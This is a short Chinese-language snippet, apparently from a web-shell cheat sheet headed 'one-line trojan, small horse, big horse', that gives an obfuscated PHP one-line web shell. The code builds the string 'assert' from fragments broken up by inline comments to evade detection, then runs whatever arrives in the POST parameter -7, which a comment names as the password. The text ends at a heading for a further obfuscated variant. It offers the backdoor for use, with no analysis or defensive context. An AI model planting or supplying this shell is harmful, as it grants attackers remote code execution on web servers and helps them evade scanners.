一句话木马，小马，大马，混淆一句话木马

php                
@$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';                  
@$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';                  
@$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}                  
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
//密码-7  
?>

混淆一句话木马：